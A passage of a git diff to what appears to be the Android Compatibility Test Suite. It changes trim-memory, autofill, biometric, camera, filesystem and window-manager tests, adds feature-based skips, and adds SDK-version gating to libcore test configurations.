+ CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_SERVICE,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, LocalForegroundService.newCommand(
+ LocalForegroundService.COMMAND_START_NO_FOREGROUND));
// Reset the memory pressure override
SystemUtil.runShellCommand(mInstrumentation, "am memory-factor reset");
latchHolder[0] = new CountDownLatch(1);
+ expectedLevel[0] = TRIM_MEMORY_UI_HIDDEN;
// Start another activity in package2
CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
watcher2.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+ watcher1.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_SERVICE, null);
assertTrue("Failed to wait for the trim memory event",
latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
- assertEquals(TRIM_MEMORY_UI_HIDDEN, levelHolder[0]);
// Start the heavy weight activity
final Intent intent = new Intent();
final CountDownLatch[] heavyLatchHolder = new CountDownLatch[1];
- final int[] heavyLevelHolder = new int[1];
+ final Predicate[] testFunc = new Predicate[1];
intent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
intent.setAction(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.putExtras(initWaitingForTrimLevel(heavyLatchHolder, heavyLevelHolder));
+ intent.putExtras(initWaitingForTrimLevel(level -> {
+ if (testFunc[0].test(level)) {
+ heavyLatchHolder[0].countDown();
+ }
+ }));
mTargetContext.startActivity(intent);
watcher3.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
heavyLatchHolder[0] = new CountDownLatch(1);
+ testFunc[0] = level -> TRIM_MEMORY_RUNNING_MODERATE <= (int) level
+ && TRIM_MEMORY_RUNNING_CRITICAL >= (int) level;
// Force the memory pressure to moderate
SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE");
assertTrue("Failed to wait for the trim memory event",
heavyLatchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
- assertEquals(TRIM_MEMORY_RUNNING_MODERATE, heavyLevelHolder[0]);
// Now go home
final Intent homeIntent = new Intent();
@@ -1393,27 +1408,11 @@ public class ActivityManagerTest extends InstrumentationTestCase {
homeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
heavyLatchHolder[0] = new CountDownLatch(1);
+ testFunc[0] = level -> TRIM_MEMORY_BACKGROUND == (int) level;
mTargetContext.startActivity(homeIntent);
assertTrue("Failed to wait for the trim memory event",
heavyLatchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
- assertEquals(TRIM_MEMORY_BACKGROUND, heavyLevelHolder[0]);
- // All done, clean up.
- CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
- CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-
- final Intent finishIntent = new Intent();
- finishIntent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
- finishIntent.setAction(ACTION_FINISH);
- finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
- mTargetContext.startActivity(finishIntent);
-
- watcher1.waitFor(WatchUidRunner.CMD_CACHED, null);
- watcher2.waitFor(WatchUidRunner.CMD_CACHED, null);
- watcher3.waitFor(WatchUidRunner.CMD_CACHED, null);
} finally {
SystemUtil.runShellCommand(mInstrumentation,
"cmd deviceidle whitelist -" + PACKAGE_NAME_APP1);
@@ -1682,16 +1681,15 @@ public class ActivityManagerTest extends InstrumentationTestCase {
return lru;
}
- private Bundle initWaitingForTrimLevel(
- final CountDownLatch[] latchHolder, final int[] levelHolder) {
+ private Bundle initWaitingForTrimLevel(final Consumer<Integer> checker) {
final IBinder binder = new Binder() {
@Override
protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
throws RemoteException {
switch (code) {
case IBinder.FIRST_CALL_TRANSACTION:
- levelHolder[0] = data.readInt();
- latchHolder[0].countDown();
+ final int level = data.readInt();
+ checker.accept(level);
return true;
default:
return false;
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 0bb5aa2e694..21206871850 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -24,6 +24,7 @@ import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
import android.app.DownloadManager;
import android.app.DownloadManager.Query;
@@ -697,6 +698,8 @@ public class DownloadManagerTest extends DownloadManagerTestBase {
@Test
public void testDownload_onMediaStoreDownloadsDeleted() throws Exception {
+ assumeFalse(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+
// prepare file
File file = new File(Environment.getExternalStoragePublicDirectory(
Environment.DIRECTORY_DOWNLOADS), "cts" + System.nanoTime() + ".mp3");
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 2c54a4cc2ad..2d1850935af 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -1269,6 +1269,8 @@ public class ServiceTest extends ActivityTestsBase {
mExpectedServiceState = STATE_START_1;
startForegroundService(COMMAND_START_FOREGROUND_DEFER_NOTIFICATION);
waitForResultOrThrow(DELAY, "service to start with deferred notification");
+ // Pause a moment and ensure that the notification has still not appeared
+ waitMillis(1000L);
assertNoNotification(1);
// Explicitly post a new Notification with the same id, still deferrable
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
index af44058064f..745ed170395 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
@@ -363,6 +363,33 @@ public class LoginActivity extends AbstractAutoFillActivity {
}
/**
+ * Set the EditText input or password value and wait until text change.
+ */
+ public void setTextAndWaitTextChange(String username, String password) throws Exception {
+ expectTextChange(username, password);
+
+ syncRunOnUiThread(() -> {
+ if (username != null) {
+ onUsername((v) -> v.setText(username));
+
+ }
+ if (password != null) {
+ onPassword((v) -> v.setText(password));
+ }
+ });
+
+ assertTextChange();
+ }
+
+ private void expectTextChange(String username, String password) {
+ expectAutoFill(username, password);
+ }
+
+ private void assertTextChange() throws Exception {
+ assertAutoFilled();
+ }
+
+ /**
* Holder for the expected auto-fill values.
*/
private final class FillExpectation {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
index 49d9fb205c2..65eca39e875 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
@@ -91,15 +91,18 @@ public class InlineFillEventHistoryTest extends FillEventHistoryCommonTestCase {
mUiBot.waitForIdle();
sReplier.getNextFillRequest();
+ // Set expected
+ mActivity.expectAutoFill("id", "pass");
+
// Suggestion strip was shown.
mUiBot.assertDatasets("Dataset");
mUiBot.selectDataset("Dataset");
- mUiBot.waitForIdle();
+
+ // Verify auto filled
+ mActivity.assertAutoFilled();
// Change username and password
- mActivity.syncRunOnUiThread(() -> mActivity.onUsername((v) -> v.setText("ID")));
- mActivity.syncRunOnUiThread(() -> mActivity.onPassword((v) -> v.setText("PASS")));
- mUiBot.waitForIdle();
+ mActivity.setTextAndWaitTextChange("ID", "PASS");
// Trigger save UI.
mActivity.tapSave();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
index 0794739b42e..c2dfb13588e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -906,6 +906,11 @@ public final class Helper {
Log.v(TAG, "isRotationSupported(): is PC");
return false;
}
+ if (!packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
+ || !packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)) {
+ Log.v(TAG, "isRotationSupported(): no screen orientation feature");
+ return false;
+ }
return true;
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
index c068161894c..d725a8a49a9 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
@@ -21,6 +21,7 @@ import android.graphics.SurfaceTexture;
import android.hardware.camera2.CameraExtensionCharacteristics;
import android.hardware.camera2.cts.helpers.StaticMetadata;
import android.hardware.camera2.cts.testcases.Camera2AndroidTestRule;
+import android.platform.test.annotations.AppModeFull;
import android.renderscript.Allocation;
import android.util.Log;
import android.util.Range;
@@ -125,6 +126,7 @@ public class CameraExtensionCharacteristicsTest {
}
@Test
+ @AppModeFull(reason = "Instant apps can't access Test API")
public void testExtensionAvailability() throws Exception {
boolean extensionsAdvertised = false;
for (String id : mTestRule.getCameraIdsUnderTest()) {
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 7a4c2e0160c..369fae2de2f 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -1542,9 +1542,13 @@ public class CameraTestUtils extends Assert {
}
int h = (i == 0) ? height : height / 2;
for (int row = 0; row < h; row++) {
- int length = rowStride;
+ // Each 10-bit pixel occupies 2 bytes
+ int length = 2 * width;
buffer.get(data, offset, length);
offset += length;
+ if (row < h - 1) {
+ buffer.position(buffer.position() + rowStride - length);
+ }
}
if (VERBOSE) Log.v(TAG, "Finished reading data from plane " + i);
buffer.rewind();
diff --git a/tests/filesystem/AndroidManifest.xml b/tests/filesystem/AndroidManifest.xml
index d203a1a8c3a..f559247f5dd 100644
--- a/tests/filesystem/AndroidManifest.xml
+++ b/tests/filesystem/AndroidManifest.xml
@@ -23,6 +23,9 @@
<application>
<uses-library android:name="android.test.runner" />
+ <activity android:name=".FileActivity"
+ android:exported="true">
+ </activity>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.filesystem.cts"
diff --git a/tests/filesystem/src/android/filesystem/cts/FileActivity.java b/tests/filesystem/src/android/filesystem/cts/FileActivity.java
new file mode 100644
index 00000000000..58b108e1981
--- /dev/null
+++ b/tests/filesystem/src/android/filesystem/cts/FileActivity.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.filesystem.cts;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * A simple activity to stay foreground context.
+ */
+public class FileActivity extends Activity {
+ private static final String PACKAGE_NAME = "android.filesystem.cts";
+
+ public static void startFileActivity(Context context) {
+ final Intent intent = new Intent();
+ intent.setComponent(new ComponentName(PACKAGE_NAME, FileActivity.class.getName()));
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+}
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index 9f05994832e..10170812a74 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -65,6 +65,7 @@ public class RandomRWTest {
if (fileSize == 0) { // not enough space, give up
return;
}
+ FileActivity.startFileActivity(getContext());
String streamName = "test_random_read";
DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
double mbps = FileUtil.doRandomReadTest(getContext(), DIR_RANDOM_RD, report, fileSize,
@@ -86,6 +87,7 @@ public class RandomRWTest {
while (usableSpace < fileSize) {
fileSize = fileSize / 2;
}
+ FileActivity.startFileActivity(getContext());
String streamName = "test_random_update";
DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
double mbps = -1;
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index 269861c1ed9..a3e6f834634 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -78,6 +78,7 @@ public class SequentialRWTest {
if (fileSize == 0) { // not enough space, give up
return;
}
+ FileActivity.startFileActivity(getContext());
final int numberOfFiles =(int)(fileSize / BUFFER_SIZE);
String streamName = "test_single_sequential_write";
DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
@@ -115,6 +116,7 @@ public class SequentialRWTest {
if (fileSize == 0) { // not enough space, give up
return;
}
+ FileActivity.startFileActivity(getContext());
final int NUMBER_REPETITION = 3;
String streamName = "test_single_sequential_update";
FileUtil.doSequentialUpdateTest(getContext(), DIR_SEQ_UPDATE, fileSize, BUFFER_SIZE,
@@ -128,6 +130,7 @@ public class SequentialRWTest {
if (fileSize == 0) { // not enough space, give up
return;
}
+ FileActivity.startFileActivity(getContext());
long start = System.currentTimeMillis();
final File file = FileUtil.createNewFilledFile(getContext(),
DIR_SEQ_RD, fileSize);
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
index 7d8416e3ca8..cf8010c17ef 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
@@ -52,6 +52,10 @@ public class BiometricActivityTests extends BiometricTestBase {
@Test
public void testBiometricOnly_authenticateFromForegroundActivity() throws Exception {
for (SensorProperties prop : mSensorProperties) {
+ if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+ continue;
+ }
+
try (BiometricTestSession session =
mBiometricManager.createTestSession(prop.getSensorId());
ActivitySession activitySession =
@@ -100,6 +104,10 @@ public class BiometricActivityTests extends BiometricTestBase {
@Test
public void testBiometricOnly_rejectThenErrorFromForegroundActivity() throws Exception {
for (SensorProperties prop : mSensorProperties) {
+ if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+ continue;
+ }
+
try (BiometricTestSession session =
mBiometricManager.createTestSession(prop.getSensorId());
ActivitySession activitySession =
@@ -162,6 +170,10 @@ public class BiometricActivityTests extends BiometricTestBase {
@Test
public void testBiometricOnly_rejectThenAuthenticate() throws Exception {
for (SensorProperties prop : mSensorProperties) {
+ if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+ continue;
+ }
+
try (BiometricTestSession session =
mBiometricManager.createTestSession(prop.getSensorId());
ActivitySession activitySession =
@@ -225,6 +237,10 @@ public class BiometricActivityTests extends BiometricTestBase {
@Test
public void testBiometricOnly_negativeButtonInvoked() throws Exception {
for (SensorProperties prop : mSensorProperties) {
+ if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+ continue;
+ }
+
try (BiometricTestSession session =
mBiometricManager.createTestSession(prop.getSensorId());
ActivitySession activitySession =
@@ -272,6 +288,10 @@ public class BiometricActivityTests extends BiometricTestBase {
try (CredentialSession credentialSession = new CredentialSession()) {
credentialSession.setCredential();
for (SensorProperties prop : mSensorProperties) {
+ if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+ continue;
+ }
+
try (BiometricTestSession session =
mBiometricManager.createTestSession(prop.getSensorId());
ActivitySession activitySession =
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java
index 7ffda4f723c..9b30fa6c562 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java
@@ -163,7 +163,7 @@ public class BiometricSecurityTests extends BiometricTestBase {
testBiometricStrength_forSensor_authDisallowed(sensorId,
testCases[i][0] /* originalStrength */,
testCases[i][1] /* requestedStrength */,
- sensors.size() > 1 /* hasMultiSensors */);
+ mSensorProperties.size() > 1 /* hasMultiSensors */);
}
}
}
@@ -505,7 +505,7 @@ public class BiometricSecurityTests extends BiometricTestBase {
testCases[i][0] /* originalStrength */,
testCases[i][1] /* targetStrength */,
testCases[i][2] /* requestedStrength */,
- sensors.size() > 1 /* hasMultiSensors */);
+ mSensorProperties.size() > 1 /* hasMultiSensors */);
}
}
}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
index 86bed8564b8..a449266be04 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
@@ -228,6 +228,9 @@ public class BiometricSimpleTests extends BiometricTestBase {
@Test
public void testSimpleBiometricAuth() throws Exception {
for (SensorProperties props : mSensorProperties) {
+ if (props.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+ continue;
+ }
Log.d(TAG, "testSimpleBiometricAuth, sensor: " + props.getSensorId());
@@ -339,6 +342,10 @@ public class BiometricSimpleTests extends BiometricTestBase {
@Test
public void testBiometricCancellation() throws Exception {
for (SensorProperties props : mSensorProperties) {
+ if (props.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+ continue;
+ }
+
try (BiometricTestSession session =
mBiometricManager.createTestSession(props.getSensorId())) {
enrollForSensor(session, props.getSensorId());
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index f0f40a69772..287e67cb003 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -366,7 +366,7 @@
android:theme="@style/no_starting_window"/>
<activity android:name="android.server.wm.WindowFocusTests$PrimaryActivity"/>
<activity android:name="android.server.wm.WindowFocusTests$SecondaryActivity"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"/>
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
<activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity"/>
<activity android:name="android.server.wm.WindowFocusTests$AutoEngagePointerCaptureActivity" />
<activity android:name="android.server.wm.WindowMetricsActivityTests$MetricsActivity"
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index b03e45330e0..42139843c7e 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -604,7 +604,6 @@ public class KeyguardTests extends KeyguardTestBase {
mWmState.waitForKeyguardGone();
mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, true);
assertFalse(mWmState.getKeyguardControllerState().keyguardShowing);
- assertOnDismissSucceeded(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
assertTrue(isDisplayOn(DEFAULT_DISPLAY));
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 63526cfca47..8f2483cd1ca 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -87,6 +87,7 @@ import org.junit.Test;
import java.util.List;
import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
/**
* Build/Install/Run:
@@ -276,11 +277,13 @@ public class MultiDisplaySystemDecorationTests extends MultiDisplayTestBase {
assertEquals("The number of nav bars should be the same", expected.size(), result.size());
- // Nav bars should show on the same displays
- for (int i = 0; i < expected.size(); i++) {
- final int expectedDisplayId = expected.get(i).getDisplayId();
- mWmState.waitAndAssertNavBarShownOnDisplay(expectedDisplayId);
- }
+ mWmState.getDisplays().forEach(displayContent -> {
+ List<WindowState> navWindows = expected.stream().filter(ws ->
+ ws.getDisplayId() == displayContent.mId)
+ .collect(Collectors.toList());
+
+ mWmState.waitAndAssertNavBarShownOnDisplay(displayContent.mId, navWindows.size());
+ });
}
// Secondary Home related tests
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
index 1a5a6830959..b664b1121ae 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
@@ -55,6 +55,7 @@ import androidx.test.rule.ActivityTestRule;
import com.android.compatibility.common.util.PollingCheck;
+import org.junit.After;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -83,6 +84,12 @@ public class RoundedCornerTests {
@Parameterized.Parameter(1)
public String orientationName;
+ @After
+ public void tearDown() {
+ mTestActivity.finishActivity();
+ new WindowManagerStateHelper().waitForDisplayUnfrozen();
+ }
+
@Rule
public final ActivityTestRule<TestActivity> mTestActivity =
new ActivityTestRule<>(TestActivity.class, false /* initialTouchMode */,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index a56b0227d49..b49e726114a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -112,6 +112,7 @@ public class SplashscreenTests extends ActivityManagerTestBase {
public void setUp() throws Exception {
super.setUp();
mWmState.setSanityCheckWithFocusedWindow(false);
+ mWmState.waitForDisplayUnfrozen();
}
@After
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index 0b423604ded..024ea1770d1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -290,7 +290,6 @@ public class WindowFocusTests extends WindowManagerTestBase {
DEFAULT_DISPLAY);
final InvisibleVirtualDisplaySession session = createManagedInvisibleDisplaySession();
- final int secondaryDisplayId = session.getDisplayId();
final SecondaryActivity secondaryActivity = session.startActivityAndFocus();
// Secondary display disconnected.
session.close();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
index d5b652f12ee..441c862aaf5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
@@ -100,8 +100,10 @@ public class WindowInsetsAnimationTests extends WindowInsetsAnimationTestBase {
@Test
public void testAnimationCallbacks_overlapping() {
- // Test requires navbar to create overlapping animations.
- assumeTrue(hasWindowInsets(mRootView, navigationBars()));
+ assumeTrue(
+ "Test requires navBar and statusBar to create overlapping animations.",
+ hasWindowInsets(mRootView, navigationBars())
+ && hasWindowInsets(mRootView, statusBars()));
WindowInsets before = mActivity.mLastWindowInsets;
MultiAnimCallback callbackInner = new MultiAnimCallback();
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 388095cda60..ba34d1785d9 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -83,6 +83,7 @@ import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
+import java.util.Objects;
import java.util.function.Consumer;
import java.util.function.Predicate;
import java.util.stream.Collectors;
@@ -966,17 +967,18 @@ public class WindowManagerState {
.collect(Collectors.toList());
}
- WindowState getAndAssertSingleNavBarWindowOnDisplay(int displayId) {
- List<WindowState> navWindow = getMatchingWindows(ws ->
- WindowManagerState.isValidNavBarType(ws) && ws.getDisplayId() == displayId)
+ @Nullable
+ List<WindowState> getAndAssertNavBarWindowsOnDisplay(int displayId, int expectedNavBarCount) {
+ List<WindowState> navWindows = getMatchingWindows(ws -> isValidNavBarType(ws)
+ && ws.getDisplayId() == displayId)
+ .filter(Objects::nonNull)
.collect(Collectors.toList());
-
// We may need some time to wait for nav bar showing.
- // It's Ok to get 0 nav bar here.
- assertTrue("There should be at most one navigation bar on a display",
- navWindow.size() <= 1);
+ // It's Ok to get less that expected nav bars here.
+ assertTrue("There should be at most expectedNavBarCount navigation bar on a display",
+ navWindows.size() <= expectedNavBarCount);
- return navWindow.isEmpty() ? null : navWindow.get(0);
+ return navWindows.size() == expectedNavBarCount ? navWindows : null;
}
WindowState getWindowStateForAppToken(String appToken) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 0a70d013cc3..458d7857461 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -272,10 +272,17 @@ public class WindowManagerStateHelper extends WindowManagerState {
"app transition idle on Display " + displayId);
}
- public void waitAndAssertNavBarShownOnDisplay(int displayId) {
- assertTrue(waitForWithAmState(
- state -> state.getAndAssertSingleNavBarWindowOnDisplay(displayId) != null,
- "navigation bar #" + displayId + " show"));
+ void waitAndAssertNavBarShownOnDisplay(int displayId) {
+ waitAndAssertNavBarShownOnDisplay(displayId, 1 /* expectedNavBarCount */);
+ }
+
+ void waitAndAssertNavBarShownOnDisplay(int displayId, int expectedNavBarCount) {
+ assertTrue(waitForWithAmState(state -> {
+ List<WindowState> navWindows = state
+ .getAndAssertNavBarWindowsOnDisplay(displayId, expectedNavBarCount);
+
+ return navWindows != null;
+ }, "navigation bar #" + displayId + " show"));
}
public void waitAndAssertKeyguardShownOnSecondaryDisplay(int displayId) {
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 93a2b76e479..3dc2bdb503c 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -54,4 +54,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index 2173c92b487..8fcaaab19c3 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -80,4 +80,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index 86e04f6192e..f929c4bd4b4 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -58,4 +58,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml
index 8219e38ce64..c3e97a4b258 100644
